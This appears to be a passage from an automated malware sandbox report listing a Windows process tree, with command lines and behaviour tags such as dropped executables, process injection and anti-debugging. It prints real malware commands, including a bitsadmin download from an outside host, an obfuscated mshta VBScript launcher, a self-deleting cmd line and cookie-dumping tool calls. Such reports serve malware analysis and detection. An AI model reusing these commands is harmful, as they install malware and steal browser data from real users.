C:\Users\Admin\AppData\Local\Temp\kvukpg20.gnc\toolspab1.exe
10⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1008

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\aqx2wssi.xwl\inst.exe & exit
8⤵
PID:4404

C:\Users\Admin\AppData\Local\Temp\aqx2wssi.xwl\inst.exe
C:\Users\Admin\AppData\Local\Temp\aqx2wssi.xwl\inst.exe
9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4836

C:\Users\Admin\AppData\Local\Temp\DKjKfWelFENvessEpF\iWlalm
C:\Users\Admin\AppData\Local\Temp\DKjKfWelFENvessEpF\iWlalm
10⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5164

C:\Users\Admin\AppData\Local\Temp\hHrieadHtMBygylAhq\VNrgBL
C:\Users\Admin\AppData\Local\Temp\hHrieadHtMBygylAhq\VNrgBL
11⤵
- Executes dropped EXE
- Suspicious behavior: LoadsDriver
PID:392

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pgyo3rys.mhj\GcleanerWW.exe /mixone & exit
8⤵
PID:5564

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pbfdcdl5.izh\SunLabsPlayer.exe /S & exit
8⤵
PID:1208

C:\Users\Admin\AppData\Local\Temp\pbfdcdl5.izh\SunLabsPlayer.exe
C:\Users\Admin\AppData\Local\Temp\pbfdcdl5.izh\SunLabsPlayer.exe /S
9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
PID:7120

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxAC85.tmp\tempfile.ps1"
10⤵
PID:3756

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxAC85.tmp\tempfile.ps1"
10⤵
PID:484

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxAC85.tmp\tempfile.ps1"
10⤵
PID:4348

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxAC85.tmp\tempfile.ps1"
10⤵
PID:4108

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxAC85.tmp\tempfile.ps1"
10⤵
PID:3936

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxAC85.tmp\tempfile.ps1"
10⤵
PID:2352

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxAC85.tmp\tempfile.ps1"
10⤵
- Checks for any installed AV software in registry
PID:7048

C:\Windows\SysWOW64\bitsadmin.exe
"bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
10⤵
- Download via BitsAdmin
PID:5596

C:\Program Files (x86)\lighteningplayer\data_load.exe
"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pvnX6Az3B09XYRiZ -y x C:\zip.7z -o"C:\Program Files\temp_files\"
10⤵
PID:8052

C:\Program Files (x86)\lighteningplayer\data_load.exe
"C:\Program Files (x86)\lighteningplayer\data_load.exe" -p2zJ3SuXA9t5eWq2 -y x C:\zip.7z -o"C:\Program Files\temp_files\"
10⤵
PID:7388

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxAC85.tmp\tempfile.ps1"
10⤵
PID:8580

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxAC85.tmp\tempfile.ps1"
10⤵
PID:10216

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxAC85.tmp\tempfile.ps1"
10⤵
PID:2636

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxAC85.tmp\tempfile.ps1"
10⤵
PID:7272

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxAC85.tmp\tempfile.ps1"
10⤵
PID:7268

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxAC85.tmp\tempfile.ps1"
10⤵
PID:9824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7120 -s 1280
10⤵
- Program crash
PID:2952

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tcfoaowc.mf0\app.exe /8-2222 & exit
8⤵
PID:5760

C:\Users\Admin\AppData\Local\Temp\tcfoaowc.mf0\app.exe
C:\Users\Admin\AppData\Local\Temp\tcfoaowc.mf0\app.exe /8-2222
9⤵
- Executes dropped EXE
PID:6644

C:\Users\Admin\AppData\Local\Temp\tcfoaowc.mf0\app.exe
"C:\Users\Admin\AppData\Local\Temp\tcfoaowc.mf0\app.exe" /8-2222
10⤵
- Modifies data under HKEY_USERS
PID:6152

C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"
4⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5044

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
- Executes dropped EXE
PID:5944

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
- Executes dropped EXE
PID:6396

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
PID:1768

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
PID:8760

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1484

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:5152

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5492

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
PID:5576

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:3764

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6000

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:744

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:6264

C:\Windows\System32\CredentialUIBroker.exe
"C:\Windows\System32\CredentialUIBroker.exe" AppContainer -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:7028

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x3e4
1⤵
PID:5796

C:\Users\Admin\AppData\Local\Temp\1109.exe
C:\Users\Admin\AppData\Local\Temp\1109.exe
1⤵
- Executes dropped EXE
PID:5436

C:\Users\Admin\AppData\Local\Temp\18AC.exe
C:\Users\Admin\AppData\Local\Temp\18AC.exe
1⤵
PID:7044

C:\Users\Admin\AppData\Local\Temp\21B5.exe
C:\Users\Admin\AppData\Local\Temp\21B5.exe
1⤵
PID:356

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4924

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4312

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4424

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
- Suspicious behavior: MapViewOfSection
PID:5916

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3052

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5148

C:\Users\Admin\AppData\Local\Temp\8533.exe
C:\Users\Admin\AppData\Local\Temp\8533.exe
1⤵
- Suspicious use of SetWindowsHookEx
PID:5988

C:\Users\Admin\AppData\Local\Temp\8831.exe
C:\Users\Admin\AppData\Local\Temp\8831.exe
1⤵
- Suspicious use of SetWindowsHookEx
PID:6712

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:7144

C:\Users\Admin\AppData\Local\Temp\A7EF.exe
C:\Users\Admin\AppData\Local\Temp\A7EF.exe
1⤵
- Loads dropped DLL
PID:5432

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\A7EF.exe"
2⤵
PID:2204

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
3⤵
- Delays execution with timeout.exe
PID:860

C:\Users\Admin\AppData\Local\Temp\B2CE.exe
C:\Users\Admin\AppData\Local\Temp\B2CE.exe
1⤵
- Suspicious use of SetThreadContext
PID:4228

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4240

C:\Users\Admin\AppData\Local\Temp\C0AA.exe
C:\Users\Admin\AppData\Local\Temp\C0AA.exe
1⤵
PID:4264

C:\Users\Admin\AppData\Local\Temp\647349126.exe
"C:\Users\Admin\AppData\Local\Temp\647349126.exe"
2⤵
- Suspicious use of SetThreadContext
PID:4120

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
3⤵
PID:4952

C:\Users\Admin\AppData\Local\Temp\1371397063.exe
"C:\Users\Admin\AppData\Local\Temp\1371397063.exe"
2⤵
- Suspicious use of SetThreadContext
PID:3080

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
3⤵
PID:5752

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
3⤵
PID:5564

C:\Users\Admin\AppData\Local\Temp\C454.exe
C:\Users\Admin\AppData\Local\Temp\C454.exe
1⤵
PID:6792

C:\Users\Admin\AppData\Local\Temp\CA9E.exe
C:\Users\Admin\AppData\Local\Temp\CA9E.exe
1⤵
PID:4808

C:\Users\Admin\AppData\Local\Temp\D4E0.exe
C:\Users\Admin\AppData\Local\Temp\D4E0.exe
1⤵
PID:4564

C:\Users\Admin\AppData\Local\Temp\DB5A.exe
C:\Users\Admin\AppData\Local\Temp\DB5A.exe
1⤵
- Loads dropped DLL
PID:6364

C:\Users\Admin\AppData\Local\Temp\E0C9.exe
C:\Users\Admin\AppData\Local\Temp\E0C9.exe
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Modifies registry class
PID:1484

C:\Users\Admin\AppData\Local\Temp\E0C9.exe
"{path}"
2⤵
PID:6756

C:\Users\Admin\AppData\Local\Temp\E0C9.exe
"{path}"
2⤵
PID:5876

C:\Users\Admin\AppData\Local\Temp\EE38.exe
C:\Users\Admin\AppData\Local\Temp\EE38.exe
1⤵
PID:6336

C:\Users\Admin\AppData\Local\Temp\F86A.exe
C:\Users\Admin\AppData\Local\Temp\F86A.exe
1⤵
- Suspicious use of SetThreadContext
PID:5804

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:1480

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:6736

C:\Users\Admin\AppData\Local\Temp\FF51.exe
C:\Users\Admin\AppData\Local\Temp\FF51.exe
1⤵
- Suspicious use of SetThreadContext
PID:4468

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:660

C:\Users\Admin\AppData\Local\Temp\201.exe
C:\Users\Admin\AppData\Local\Temp\201.exe
1⤵
- Suspicious use of SetThreadContext
PID:5300

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:6864

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:3656

C:\Users\Admin\AppData\Local\Temp\742.exe
C:\Users\Admin\AppData\Local\Temp\742.exe
1⤵
- Suspicious use of SetThreadContext
PID:5924

C:\Users\Admin\AppData\Local\Temp\742.exe
"C:\Users\Admin\AppData\Local\Temp\742.exe"
2⤵
PID:6480

C:\Users\Admin\AppData\Local\Temp\15AB.exe
C:\Users\Admin\AppData\Local\Temp\15AB.exe
1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6088

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1416

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:6176

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:6980

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
- Suspicious behavior: MapViewOfSection
PID:6100

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:6988

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
- Suspicious behavior: MapViewOfSection
PID:4732

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4464

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
- Suspicious behavior: MapViewOfSection
PID:6532

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5276

C:\Users\Admin\AppData\Local\Temp\uQLGv.exe
"C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"
1⤵
PID:5740

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBsCriPt: CLOse ( cReatEoBJEcT("wSCrIPT.sHelL" ). RUn ( "cmD.EXe /Q /C COpY /y ""C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"" uQLGv.exe > Nul && StArT uQLGv.exe -P5x35C~QWmaAR8osCre & iF """" == """" for %V In ( ""C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"" ) do taskkill -IM ""%~nXV"" -F > nul ",0) )
2⤵
PID:2900

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C COpY /y "C:\Users\Admin\AppData\Local\Temp\uQLGv.exe" uQLGv.exe> Nul && StArT uQLGv.exe -P5x35C~QWmaAR8osCre & iF "" =="" for %V In ( "C:\Users\Admin\AppData\Local\Temp\uQLGv.exe" ) do taskkill -IM "%~nXV" -F> nul
3⤵
PID:5868

C:\Windows\SysWOW64\taskkill.exe
taskkill -IM "uQLGv.exe" -F
4⤵
- Kills process with taskkill
PID:3024

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\AppData\Local\Temp\*\" -spe -an -ai#7zMap19030:2006:7zEvent11624
1⤵
- Suspicious use of FindShellTrayWindow
PID:2140

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\AppData\Local\Temp\*\" -ad -an -ai#7zMap27134:2006:7zEvent26038
1⤵
- Suspicious use of FindShellTrayWindow
PID:6972

C:\Program Files (x86)\lighteningplayer\lighteningplayer.exe
"C:\Program Files (x86)\lighteningplayer\lighteningplayer.exe"
1⤵
- Loads dropped DLL
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:576

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:184

C:\Users\Admin\AppData\Local\Temp\742.exe
"C:\Users\Admin\AppData\Local\Temp\742.exe"
1⤵
PID:4668

C:\Users\Admin\AppData\Local\Temp\742.exe
"C:\Users\Admin\AppData\Local\Temp\742.exe"
2⤵
PID:7128

C:\Users\Admin\AppData\Local\Temp\742.exe
"C:\Users\Admin\AppData\Local\Temp\742.exe"
2⤵
PID:6348

C:\Users\Admin\AppData\Local\Temp\C0AA.exe
"C:\Users\Admin\AppData\Local\Temp\C0AA.exe"
1⤵
PID:5320

C:\Users\Admin\AppData\Local\Temp\647349126.exe
"C:\Users\Admin\AppData\Local\Temp\647349126.exe"
2⤵
PID:1908

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
3⤵
PID:5172

C:\Users\Admin\AppData\Local\Temp\201.exe
"C:\Users\Admin\AppData\Local\Temp\201.exe"
1⤵
- Suspicious use of SetThreadContext
PID:5496

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:5264

C:\Users\Admin\AppData\Local\Temp\FF51.exe
"C:\Users\Admin\AppData\Local\Temp\FF51.exe"
1⤵
- Suspicious use of SetThreadContext
PID:5240

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:6604

C:\Users\Admin\AppData\Local\Temp\C454.exe
"C:\Users\Admin\AppData\Local\Temp\C454.exe"
1⤵
PID:7132

C:\Users\Admin\AppData\Local\Temp\647349126.exe
"C:\Users\Admin\AppData\Local\Temp\647349126.exe"
1⤵
PID:4516

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:5604

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:4440

C:\Users\Admin\AppData\Local\Temp\CA9E.exe
"C:\Users\Admin\AppData\Local\Temp\CA9E.exe"
1⤵
PID:4700

C:\Users\Admin\AppData\Local\Temp\1371397063.exe
"C:\Users\Admin\AppData\Local\Temp\1371397063.exe"
1⤵
- Suspicious use of SetThreadContext
PID:4652

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:6288

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:3960

C:\Users\Admin\AppData\Local\Temp\D4E0.exe
"C:\Users\Admin\AppData\Local\Temp\D4E0.exe"
1⤵
PID:3752

C:\Users\Admin\AppData\Local\Temp\DB5A.exe
"C:\Users\Admin\AppData\Local\Temp\DB5A.exe"
1⤵
PID:6016

C:\Users\Admin\AppData\Local\Temp\E0C9.exe
"C:\Users\Admin\AppData\Local\Temp\E0C9.exe"
1⤵
PID:6064

C:\Users\Admin\AppData\Local\Temp\E0C9.exe
"{path}"
2⤵
PID:6536

C:\Users\Admin\AppData\Local\Temp\EE38.exe
"C:\Users\Admin\AppData\Local\Temp\EE38.exe"
1⤵
PID:7036

C:\Users\Admin\AppData\Local\Temp\F86A.exe
"C:\Users\Admin\AppData\Local\Temp\F86A.exe"
1⤵
- Suspicious use of SetThreadContext
PID:5728

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:4824

C:\Users\Admin\AppData\Local\Temp\A492.exe
C:\Users\Admin\AppData\Local\Temp\A492.exe
1⤵
PID:7136

C:\Users\Admin\AppData\Local\Temp\1109.exe
"C:\Users\Admin\AppData\Local\Temp\1109.exe"
1⤵
PID:6152

C:\Users\Admin\AppData\Local\Temp\18AC.exe
"C:\Users\Admin\AppData\Local\Temp\18AC.exe"
1⤵
PID:5436

C:\Users\Admin\AppData\Local\Temp\21B5.exe
"C:\Users\Admin\AppData\Local\Temp\21B5.exe"
1⤵
PID:3332

C:\Users\Admin\AppData\Local\Temp\8533.exe
"C:\Users\Admin\AppData\Local\Temp\8533.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:6384

C:\Users\Admin\AppData\Local\Temp\8831.exe
"C:\Users\Admin\AppData\Local\Temp\8831.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:4128

C:\Users\Admin\AppData\Local\Temp\haleng.exe
"C:\Users\Admin\AppData\Local\Temp\haleng.exe"
1⤵
PID:4800

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
2⤵
PID:5280

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
2⤵
PID:1088

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
2⤵
PID:9332

C:\Users\Admin\AppData\Local\Temp\E0C9.exe
"C:\Users\Admin\AppData\Local\Temp\E0C9.exe"
1⤵
- Suspicious use of SetThreadContext
PID:2344

C:\Users\Admin\AppData\Local\Temp\E0C9.exe
"{path}"
2⤵
PID:5860

C:\Users\Admin\AppData\Local\Temp\A492.exe
"C:\Users\Admin\AppData\Local\Temp\A492.exe"
1⤵
PID:2692

C:\Users\Admin\AppData\Local\Temp\647349126.exe
"C:\Users\Admin\AppData\Local\Temp\647349126.exe"
1⤵
- Suspicious use of SetThreadContext
PID:4552

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:1556

C:\Users\Admin\AppData\Local\Temp\uQLGv.exe
"C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"
1⤵
PID:612

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBsCriPt: CLOse ( cReatEoBJEcT("wSCrIPT.sHelL" ). RUn ( "cmD.EXe /Q /C COpY /y ""C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"" uQLGv.exe > Nul && StArT uQLGv.exe -P5x35C~QWmaAR8osCre & iF """" == """" for %V In ( ""C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"" ) do taskkill -IM ""%~nXV"" -F > nul ",0) )
2⤵
PID:492

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C COpY /y "C:\Users\Admin\AppData\Local\Temp\uQLGv.exe" uQLGv.exe> Nul && StArT uQLGv.exe -P5x35C~QWmaAR8osCre & iF "" =="" for %V In ( "C:\Users\Admin\AppData\Local\Temp\uQLGv.exe" ) do taskkill -IM "%~nXV" -F> nul
3⤵
PID:2020

C:\Windows\SysWOW64\taskkill.exe
taskkill -IM "uQLGv.exe" -F
4⤵
- Kills process with taskkill
PID:5476

C:\Users\Admin\AppData\Local\Temp\A492.exe
"C:\Users\Admin\AppData\Local\Temp\A492.exe"
1⤵
PID:4712

C:\Users\Admin\AppData\Local\Temp\647349126.exe
"C:\Users\Admin\AppData\Local\Temp\647349126.exe"
1⤵
- Suspicious use of SetThreadContext
PID:5896

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:4544

C:\Users\Admin\AppData\Local\Temp\uQLGv.exe
"C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"
1⤵
PID:1608

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBsCriPt: CLOse ( cReatEoBJEcT("wSCrIPT.sHelL" ). RUn ( "cmD.EXe /Q /C COpY /y ""C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"" uQLGv.exe > Nul && StArT uQLGv.exe -P5x35C~QWmaAR8osCre & iF """" == """" for %V In ( ""C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"" ) do taskkill -IM ""%~nXV"" -F > nul ",0) )
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
PID:4516

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C COpY /y "C:\Users\Admin\AppData\Local\Temp\uQLGv.exe" uQLGv.exe> Nul && StArT uQLGv.exe -P5x35C~QWmaAR8osCre & iF "" =="" for %V In ( "C:\Users\Admin\AppData\Local\Temp\uQLGv.exe" ) do taskkill -IM "%~nXV" -F> nul
3⤵
PID:352

C:\Windows\SysWOW64\taskkill.exe
taskkill -IM "uQLGv.exe" -F
4⤵
- Kills process with taskkill
PID:4104

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" .\ma0IL_U1.C_T -u /s
2⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
PID:3656

C:\Users\Admin\AppData\Local\Temp\E0C9.exe
"C:\Users\Admin\AppData\Local\Temp\E0C9.exe"
1⤵
- Suspicious use of SetThreadContext
PID:1980

